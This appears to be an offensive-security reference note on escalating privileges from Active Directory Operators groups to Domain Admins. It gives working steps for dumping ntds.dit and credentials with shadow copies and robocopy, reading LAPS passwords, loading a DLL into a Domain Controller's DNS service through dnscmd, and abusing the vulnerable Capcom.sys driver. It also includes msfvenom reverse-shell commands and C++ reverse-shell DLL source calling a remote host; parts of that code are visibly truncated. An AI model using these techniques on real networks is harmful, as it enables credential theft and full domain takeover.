Exploitation - Operators to Domain Admins


The built-in Operators groups are granted, by default, special privileges on the Domain Controllers, through the Default Domain Controller Policy Group Policy Object (GPO) (UID: {6AC1786C-016F-11D2-945F-00C04fB984F9}) linked on the Domain Controllers Organisational Unit (OU).

The following security identifier (SID) are associated to privileged built-in groups:





Account Operators


Server Operators


Print Operators


Backup Operators

# Default Domain Controller Policy

SeBackupPrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeBatchLogonRight = *S-1-5-32-559,*S-1-5-32-551,*S-1-5-32-544
SeDebugPrivilege = *S-1-5-32-544
SeInteractiveLogonRight = *S-1-5-9,*S-1-5-32-550,*S-1-5-32-549,*S-1-5-32-548,*S-1-5-32-551,*S-1-5-32-544
SeLoadDriverPrivilege = *S-1-5-32-550,*S-1-5-32-544
SeRemoteShutdownPrivilege = *S-1-5-32-549,*S-1-5-32-544
SeRestorePrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeSecurityPrivilege = *S-1-5-32-544
SeTakeOwnershipPrivilege = *S-1-5-32-544
SeEnableDelegationPrivilege = *S-1-5-32-544


The built-in Administrators / Administrateurs domain local group (SID: S-1-5-32-544) correspond to the original local Administrators group of servers being promoted to the Domain Controllers role. The domain Administrators group, and its members, are protected by the AdminSDHolder mechanism.

The members of the domain Administrators group:

  • Have full control over all the Domain Controllers of the domain. Among others possibilities, this access can be leveraged to remotely connect to a Domain Controller and dump the Active Directory ntds.dit database. Refer to the [ActiveDirectory] ntds.dit dumping for note for techniques to do so.

  • Can by default take ownership (WriteOwner) and modify the DACL (WriteDacl) and properties (WriteProperty on 00000000-[...]00) of most Active Directory objects. Including the privileged principals (Domain Admins, Enterprise Admins, etc.) protected by the AdminSDHolder mechanism and the AdminSDHolder container itself. Those rights can be leveraged to add member(s) to the privileged domain groups or change the password of privileged users. Refer to the [ActiveDirectory] ACL exploiting - Users and groups permissions exploitation note more information on how to conduct this kind of attacks.

# Validates the presence of the default ACL relative to the domain Administrators group on the AdminSDHolder object.

Get-Acl "AD:\CN=AdminSDHolder,CN=System,<DOMAIN_ROOT_OBJECT>" | Select-Object -ExpandProperty Access | ? IdentityReference -match "Administrators"

  ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl,WriteOwner
  InheritanceType       : None
  ObjectType            : 00000000-0000-0000-0000-000000000000
  InheritedObjectType   : 00000000-0000-0000-0000-000000000000
  ObjectFlags           : None
  AccessControlType     : Allow
  IdentityReference     : BUILTIN\Administrators
  IsInherited           : False
  InheritanceFlags      : None
  PropagationFlags      : None

Account Operators

The members of the Account Operators / Opérateurs de compte domain local group (SID: S-1-5-32-548) have full control over user and machine accounts and domain groups, except for the accounts and groups that are protected by the AdminSDHolder mechanism. The domain Account Operators group, and its members, are protected by the AdminSDHolder mechanism.

Membership to the domain Account Operators group can be leveraged to:

  • Add member(s) to the DnsAdmins group, which is not protected by the AdminSDHolder mechanism, to remotely execute code as NT AUTHORITY\SYSTEM on a Domain Controller.

    # Validates the presence of the default ACL relative to the Account Operators group on the DnsAdmins group.
    # DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
    Get-Acl "AD:\CN=DnsAdmins,CN=Users,<DOMAIN_ROOT_OBJECT>" | Select-Object -ExpandProperty Access | ? IdentityReference -match "Account Operators"
      ActiveDirectoryRights : GenericAll
      InheritanceType       : None
      ObjectType            : 00000000-0000-0000-0000-000000000000
      InheritedObjectType   : 00000000-0000-0000-0000-000000000000
      ObjectFlags           : None
      AccessControlType     : Allow
      IdentityReference     : BUILTIN\Account Operators
      IsInherited           : False
      InheritanceFlags      : None
      PropagationFlags      : None
    net localgroup "DnsAdmins" "<DOMAIN>\<USERNAME>" /add /domain
    dsmod.exe group "CN=DnsAdmins,CN=Users,<DOMAIN_ROOT_OBJECT>" -addmbr "<USER_DISTINGUISHED_NAME"
    Add-ADGroupMember -Identity "DnsAdmins" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
    Add-ADGroupMember -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity "DnsAdmins" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
  • Take control of non-protected machines where privileged users have opened a session. PowerView's cmdlets and SharpHound both wrap around the Windows Win32API's NetSessionEnum API and can be used to enumerate sessions on remote systems. Refer to the [ActiveDirectory] Credentials theft shuffling - Session hunting and [ActiveDirectory] AD scanners notes for more information.

    Multiples techniques may be leveraged to take control of the non protected machines, including:

    • Reading the Local Administrator Password Solution (LAPS) password of the non-protected machines if the solution is deployed on the domain, as the Account Operators group can by default read all attributes of the machine accounts (including the ms-Mcs-AdmPwd attribute).

      Get-ADComputer -Identity <SamAccountName | DistinguishedName | SID | GUID> -Properties * | Ft Name,ms-Mcs-AdmPwdExpirationTime,ms-Mcs-AdmPwd
      Get-ADComputer -Filter {ms-mcs-admpwdexpirationtime -like "*"} -Properties * | Ft Name,ms-Mcs-AdmPwdExpirationTime,ms-Mcs-AdmPwd
    • Add member(s) to non-protected domain group, or change password of non-protected domain users, that are members of the local Administrators group of the targeted machine. PowerView's cmdlets, PingCastle's localadmin scanner and SharpHound's LocalAdmin collection method can all be used to enumerate local groups memberships through RPC calls to the SAMR interface of the remote system (either through direct RPC calls or through the NetLocalGroupGetMembers Windows API). Refer to the [ActiveDirectory] Credentials theft shuffling - Local group enumeration for more information.

Backup Operators

The members of the Backup Operators / Opérateurs de sauvegarde domain local group (SID: S-1-5-32-551) can remotely connect to Domain Controllers and backup or restore any files due to being granted the SeBackupPrivilege and SeRestorePrivilege privileges through the Default Domain Controller Policy GPO. These privileges can be leveraged to retrieve the content of the Active Directory ntds.dit database (which contain the Active Directory data such as usernames and users' NTLM hashes and Kerberos secrets). The domain Backup Operators group, and its members, are protected by the AdminSDHolder mechanism.

The SeBackupPrivilege privilege allows for the retrieval of any file content while the SeRestorePrivilege grants the possibility to modify any file, even if the security descriptor on the file might not grant such access. The members of the Backup Operators domain group cannot directly copy the ntds.dit file as the Access Control List (ACL) on the file restrict access to the NT AUTHORITY\SYSTEM built-in Windows Account and the Administrators domain group. In order to bypass the ACL, the SeBackupPrivilege privilege must be leveraged by opening the ntds.dit file with the FILE_FLAG_BACKUP_SEMANTICS flag, which can be done using the Windows built-in utility robocopy.

The SeBackupPrivilege may not be present in the Access Tokens of the command interpreter process if code execution is achieved through an interactive logon session (Logon Type 2 or 10) and the User Account Control (UAC) mechanism is configured on the Domain Controller. An unrestricted access token must first be obtained either:

  • through the Run as administrator functionality in an interactive session. In such scenario, the SeBackupPrivilege and SeRestorePrivilege privileges will be listed but will be Disabled in the unrestricted access tokens.

  • through PowerShell Remoting (WinRM) if the service (TCP ports 5985 and / or 5986) is exposed on a Domain Controller and the compromised account is also a member of the Remote Management Users domain group. Indeed, non interactive session are not subject to the UAC mechanism and the PowerShell process will be running in the security context of an unrestricted access token. For more information on how to connect through WinRM, refer to the [L7] 5985-5986 WSMan and [Windows] Lateral movements notes.

In a process running in the security context of an unrestricted access token with both the SeBackupPrivilege and SeRestorePrivilege privileges (enabled or not), robocopy may be used to copy in backup mode the ntds.dit file. While only the SeBackupPrivilege privilege is actually needed to conduct the file backup, robocopy requires both privileges to be present in the process token to make use of the /b option. robocopy will automatically enable both privileges for the time of its execution.

As the ntds.dit file is continuously accessed by Active Directory processes, a shadow volume must be created in order to allow its copy. Additionally, the HKEY_LOCAL_MACHINE\SYSTEM must also be exported. Indeed, the sensitive information in the ntds.dit file is encrypted using the system Boot Key (also known as the System Key, or SysKey) which is located in the HKLM\SYSTEM registry hive. As using reg save to export the HKLM\SYSTEM registry hive would require the SeBackupPrivilege privilege to be enabled in the process token, robocopy may be used instead to copy the hive from the shadow volume (necessary anyway for the ntds.dit file copy).

# For more tools and techniques to create a shadow volume or on how to extract credentials from the ntds.dit, refer to the `[ActiveDirectory]
ntds.dit dumping` note.

  set context persistent nowriters
  add volume c: alias <ALIAS>
  expose %<ALIAS>% <DRIVE_LETTER>:

robocopy /b "<DRIVE_LETTER>:\Windows\NTDS" "<EXPORT_FOLDER>" ntds.dit
robocopy /b "<DRIVE_LETTER>:\Windows\System32\config" "<EXPORT_FOLDER>" SYSTEM

  delete shadows volume %<ALIAS>%

If robocopy is not available on the targeted Domain Controller, or if the SeRestorePrivilege was removed for the Backup Operators group, the privilege must be Enabled in a process access tokens in order to be able to backup files. This restriction is not applied through processes executed through PowerShell Remoting and thus the backup of the ntds.dit file should preferably be done through this mean if possible.

Otherwise, if access to a Domain Controller through PowerShell Remoting is not a possibility and access must be done through an interactive session, a PowerShell process must be started in an elevated security context and the SeBackupPrivilege token manually enabled:

# Lists the privileges, and their status, present in the current process Access Tokens
# If SeBackupPrivilege appears as "Disabled" ("SeBackupPrivilege  Back up files and directories  Disabled"), the process runs in a elevated security context but SeBackupPrivilege must be enabled.
whoami /priv

# Starts PowerShell in an elevated context.
Right click -> "Run as Administrator"
Start-Process -Verb RunAs powershell.exe

# Enables the SeBackupPrivilege privilege in the current process Access Tokens.
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

# Open the source file with the FILE_FLAG_BACKUP_SEMANTICS flag in order to backup it.


The members of the DnsAdmins domain local group (variable SID) can manage the DNS services, usually hosted by the Domain Controllers, and the Active Directory-Integrated DNS Zones (ADIDNS). This group exists only if the DNS server role is or was once installed on a Domain Controller in the domain (which is the case by default). The domain DnsAdmins group, and its members, are not protected by the AdminSDHolder mechanism.

Membership to the domain DnsAdmins group can notably be leveraged to configure the DNS service of a Domain Controller to load and execute an arbitrary Dynamic Link Library (DLL) through a ServerLevelPluginDll operation. As the DNS service (executing the C:\Windows\system32\dns.exe binary) is running as the local system account, this operation allows for the remote execution of code as NT AUTHORITY\SYSTEM on a Domain Controller.

The dnscmd Windows built-in utility can be used to conduct a ServerLevelPluginDll operation to load an arbitrary DLL. The specified DLL may be hosted on a remote network share, which can be done using impacket's smbserver.py or directly through the Windows File Explore utility. Refer to the [General] File Transfer note for more information on those two techniques.

# smbserver.py [-smb2support] <SHARE_NAME> <SHARE_PATH>

# Instructs the dns.exe service of the remote Domain Controller to load and execute the specified DLL upon starting
dnscmd <DC_IP | DC_HOSTNAME> /config /serverlevelplugindll \\<SHARE_SERVER_IP>\<SHARE>\<DLL.dll>

# If code execution was achieved by others means on the Domain Controller, the modification of the DNS service configuration can be validated
reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ /v ServerLevelPluginDll
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

# Stops and starts the dns.exe service on the remote Domain Controller
sc.exe \\<DC_IP | DC_HOSTNAME> stop dns
sc.exe \\<DC_IP | DC_HOSTNAME> start dns

A DLL, functional for the exploit but that will hang the DNS service restart, can be generated using msfvenom:

# Example payloads: staged (windows/shell/reverse_tcp) or stageless (windows/shell_reverse_tcp) reverse shell.
# For more information on the listeners and payloads supported by the msfvenom utility refer to "[General] Shells" note.

msfvenom -a <x86 | x64> --platform windows -p <windows/shell/reverse_tcp | windows/x64/shell/reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f dll -o <OUTPUT_DLL>
msfvenom -a <x86 | x64> --platform windows -p <windows/shell_reverse_tcp | windows/x64/shell_reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f dll -o <OUTPUT_DLL>

In order to make the restart of the DNS service possible, the injected DLL must export a number of functions and start the payload in a thread. The DNSAdmin-DLL.cpp file (which export the DNS_PLUGIN_API functions) of the DNSAdmin DLL project can be replaced with the following C++ code below, which includes a reverse shell payload. The C++ reverse shell code is based on tudorthe1ntruder's reverse-shell-poc and the modifications are inspired from the following IppSec walkthrough: https://youtu.be/8KJebvmd1Fk?t=3290.

#include "stdafx.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <process.h>
#include <ws2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")


DWORD WINAPI ReverseShell(__in PVOID lpParameter) {
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	struct addrinfo* result = NULL, * ptr = NULL, hints;
	memset(&hints, 0, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
	ptr = result;
	SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
	connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));
	si.wShowWindow = SW_HIDE;
	si.hStdInput = (HANDLE)ConnectSocket;
	si.hStdOutput = (HANDLE)ConnectSocket;
	si.hStdError = (HANDLE)ConnectSocket;
	CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	return 0;

extern "C" __declspec(dllexport)
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction) {
	DWORD threadID;
	h = CreateThread(0, 0, ReverseShell, 0, 0, &threadID);

extern "C" __declspec(dllexport)
DWORD WINAPI DnsPluginCleanup() {

extern "C" __declspec(dllexport)
DWORD WINAPI DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PVOID ppDnsRecordListHead) {

The members of the Print Operators / Opérateurs d'impression domain local group (SID: S-1-5-32-550) can remotely connect and load kernel drivers on Domain Controllers due to being granted the SeLoadDriverPrivilege privilege through the Default Domain Controller Policy GPO. The SeLoadDriverPrivilege privilege can be leveraged to execute code in the kernel space as NT AUTHORITY\SYSTEM. This privileged code execution can be used to add members to the Domain Admins group or retrieve the content of the Active Directory ntds.dit database (which contain the Active Directory data such as usernames and users' NTLM hashes and Kerberos secrets). The domain Print Operators group, and its members, are protected by the AdminSDHolder mechanism.

Similarly to the SeBackupPrivilege for the Backup Operators, the SeLoadDriverPrivilege privilege requires an unrestricted access token and, for code execution through interactive logon sessions, to be explicitly Enabled. The exploit code of the EoPLoadDriver project, presented below, will attempt to enable the SeLoadDriverPrivilege privilege if executed in a process running in the security context of an unrestricted access token. Alternatively, refer to the Backup Operators section for more information on tools and techniques to obtain a process with the SeLoadDriverPrivilege privilege Enabled in its access token.

In order for a driver to be loaded in the Windows operating system, the driver file must be digitally signed either:

  • for signature date prior to 29/07/2015, with a trusted cross-signed certificate, du to compatibility reasons for older drivers.

  • with a trusted Extended Validation Code Signing Certificate certificate and Windows Hardware Quality Labs (WHQL) certified.

A legitimate and digitally signed driver vulnerable to a code execution vulnerability can be loaded and exploited in order to gain kernel space code execution. The technique allows to circumvent the need of using one's own digitally signed driver for privilege elevation purpose. The Capcom.sys driver match those two criteria and can be exploited using public projects.

Note that the Capcom.sys driver may be flagged as harmful by the eventual anti-virus solution deployed on the Domain Controller.

While kernel drivers are usually installed through the Service Control Manager (SCM), as services of type SERVICE_KERNEL_DRIVER, and register an entry, corresponding to their configuration, in the HKEY_LOCAL_MACHINE registry hive (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\), the members of the Print Operators group do not have the necessary level of permissions to do so. Instead, an entry in the HKEY_CURRENT_USER registry hive, by default writable by the current user (Full Control), can be created and used to load the driver in the kernel (through the NtLoadDriver API). The Driver installation will not persist across reboot. Note however that as of Windows 10 Version 1803, the NTLoadDriver API seems to forbid references to registry keys under HKEY_CURRENT_USER.

The process can be automated using the eoploaddriver binary

# If needed, compiles the EoPLoadDriver project from the Linux operating system using MinGW.
# Alternatively, binaries are compiled on the following GitHub repository: https://github.com/umiterkol/EoPLoadDriver_Release/releases.
# The source code headers must be modified as follow:
# #include "stdafx.h" -> must be removed.
# #include <Windows.h> -> #include <windows.h>
# #include <Winternl.h>  -> #include <winternl.h>
# Compiles for 32-bits systems.
i686-w64-mingw32-g++ -o eoploaddriver.exe eoploaddriver.cpp
# Compiles for 64-bits systems.
x86_64-w64-mingw32-g++ -o eoploaddriver.exe eoploaddriver.cpp

# Creates the necessary entry in the specified registry path (in HKCU\System\CurrentControlSet\<DRIVER_NAME>) and loads the specified Windows kernel driver.
# Requires the SeLoadDriverPrivilege privilege to be Enabled in the process access token.
# The Capcom.sys driver can be found in the Capcom-Rootkit project GitHub repository (hash SHA256: da6ca1fb539f825ca0f012ed6976baf57ef9c70143b7a1e88b4650bf7a925e24).
eoploaddriver.exe System\CurrentControlSet\<DRIVER_NAME> "<CAPCOM_SYS_FILE_PATH | DRIVER_SYS_FILE_PATH>"

The Capcom driver can then be exploited using multiple public projects:

# Replaces the current process access token to the SYSTEM access token effectively granting the current process "NT AUTHORITY\SYSTEM" privileges.
. .\CapCom-GDI-x64Universal.ps1

# Requires an interactive logon session as the exploit launches a new command prompt (with "NT AUTHORITY\SYSTEM" privileges).

# Requires a meterpreter shell and will execute the specified metasploit payload.
# The vulnerability check may fail and should be commented out (check function).
msf> use exploit/windows/local/capcom_sys_exec

Schema Admins

The members of the Schema Admins / Administrateurs du schéma universal group (SID: S-1-5-21-<ROOT_DOMAIN>-518) can modify the Active Directory Schema. The Active Directory Schema defines every objects class, and their attributes, that can be created in an Active Directory forest. For example, the schema defines a securityPrincipal class, with the mandatory objectSid and sAMAccountName attributes, that is inherited by the user class. The schema is shared by all the domains of the forest. By default, the only member of the Schema Admins group is the built-in Administrator account of the forest root domain. The domain Schema Admins group, and its members, are protected by the AdminSDHolder mechanism.

While membership to the domain Schema Admins group can not, as far current public knowledge goes, be directly leveraged to elevate privileges to Domain Admins, it does offer possibilities to take control of newly created Active Directory objects. The schema can be edited, if necessary on out of the domain machines, through the Microsoft Management Console (MMC) utility. The modifications should be made against the Enterprise Domain Controller holding the Schema Master Flexible Single Master Operations (FSMO) role.

Note that the Active Directory schema is replicated on each Domain Controllers through the standard Active Directory replication mechanisms. Additionally, the schema is kept cached in RAM on the Domain Controllers and the modifications replicated will affect new objects after the schema is reloaded in memory in a 5-minutes window.

# Registers the "Active Directory Schema" snap-in on the local system.
regsvr32 schmmgmt.dll

# If necessary, retrieves the Schema Master Enterprise Domain Controller.
Get-ADForest | Select-Object SchemaMaster
Get-ADForest -Server <DC_IP> -Credential <PSCredential> | Select-Object SchemaMaster

# Starts the mmc utility and adds the "Active Directory Schema" snap-in.
# Refer to the "[Windows] Lateral movements - Local credential re-use" for procedures to start the mmc utility under the identify of another user, through Pass-the-Hash if necessary.
File -> Add/Remove Snap-in (Ctrl + M) -> Selection of "Active Directory Schema"

Right click on "Active Directory Schema"
  -> Either choose "Connect to Schema Operations Master" on an enrolled machine
  -> Or manually specify the Schema Master Domain Controller through the "Change Active Directory Domain Controller..."

For instance, the default Access Control List (ACL) of the user class can be updated to grant control over the new users that will be created after the schema update and replication. However, if a newly created user is added to any domain privileged groups, that is protected by the AdminSDHolder mechanism, the default ACL will be overwritten through the SDProp process (by the "template" ACL defined on the AdminSDHolder object).

Classes -> Right click "user" -> Properties -> Default Security -> Add -> Specify a controlled security principal or "Everyone" / "Authenticated users" / etc. -> Permissions : "Full Control" / "Reset password" / etc.

Server Operators

The members of the Server Operators / Opérateurs de serveur domain local group (SID: S-1-5-32-549) can, similarly to Backup operators, remotely connect to Domain Controllers and backup or restore any files. Indeed, the Server Operators are also granted the SeBackupPrivilege and SeRestorePrivilege privileges. The domain Server Operators group, and its members, are protected by the AdminSDHolder mechanism.

Refer to the Backup Operators section for techniques on how to leverage a membership to the Server Operators group to elevate privileges to Domain Administrators.


https://adsecurity.org/?p=3700 https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83 https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups https://adsecurity.org/?p=4064 https://www.youtube.com/watch?v=8KJebvmd1Fk https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/ https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges https://github.com/FuzzySecurity/Capcom-Rootkit https://github.com/tandasat/ExploitCapcom

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